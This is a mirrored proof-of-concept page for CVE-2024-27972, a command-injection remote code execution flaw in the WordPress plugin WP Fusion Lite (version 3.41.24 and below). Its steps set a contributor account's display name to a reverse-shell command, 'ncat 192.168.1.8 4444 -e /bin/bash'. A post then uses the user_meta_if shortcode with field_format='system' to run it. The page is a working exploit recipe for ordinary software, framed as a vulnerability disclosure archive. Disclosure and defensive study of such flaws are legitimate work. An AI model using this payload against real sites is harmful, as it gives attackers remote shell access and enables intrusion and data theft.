CVE-2024-27972 PoC — WordPress Plugin WP Fusion Lite 安全漏洞

Source

https://github.com/truonghuuphuc/CVE-2024-27972-Poc

Associated Vulnerability

Title:WordPress Plugin WP Fusion Lite 安全漏洞 (CVE-2024-27972)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress Plugin WP Fusion Lite 存在安全漏洞，该漏洞源于存在命令注入漏洞。

Description

CVE-2024-27972 WP Fusion Lite <= 3.41.24 - Authenticated (Contributor+) Remote Code Execution

Readme

# CVE-2024-27972-Poc
CVE-2024-27972 WP Fusion Lite &lt;= 3.41.24 - Authenticated (Contributor+) Remote Code Execution
https://patchstack.com/database/vulnerability/wp-fusion-lite/wordpress-wp-fusion-lite-plugin-3-41-24-remote-code-execution-rce-vulnerability

File: includes\class-shortcodes.php
![image](https://github.com/truonghuuphuc/CVE-2024-27972-Poc/assets/20487674/ee6e468a-b8e4-424a-92b5-68380c7af629)

Show list field ``` echo var_dump($user_meta = wp_fusion()->user->get_user_meta( $user_id )); ```

call_user_func: https://www.php.net/manual/en/function.call-user-func.php

Short code user_meta_if: https://wpfusion.com/documentation/getting-started/shortcodes/#displaying-content-based-on-user-meta-values

 [user_meta_if field="display_name" field_format="system"] Exploit [/user_meta_if]

 ![image](https://github.com/truonghuuphuc/CVE-2024-27972-Poc/assets/20487674/c7f03ea8-fd45-4f45-a972-ff20c37d274b)


Steps to Reproduce:
1. Login account Contributor+ and change display name ``` ncat 192.168.1.8 4444 -e /bin/bash ```
![image](https://github.com/truonghuuphuc/CVE-2024-27972-Poc/assets/20487674/f247f621-501e-4bb0-819b-ec6d0321b7ee)

2. Create Post and use shortcode ``` [user_meta_if field="display_name" field_format="system"] Exploit [/user_meta_if] ```
![image](https://github.com/truonghuuphuc/CVE-2024-27972-Poc/assets/20487674/bd25e369-d94e-4b93-a9af-e9abbefe2256)



Poc:

https://github.com/truonghuuphuc/CVE-2024-27972-Poc/assets/20487674/8c92e910-c95f-41f5-9c9d-051b08c5e242

File Snapshot


 [4.0K]  /data/pocs/7366ab0d1e5579c27d3611461dffd9d6ebbf378d
├── [1.5K]  README.md
└── [1.3M]  wp-fusion-lite.3.41.24.zip

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!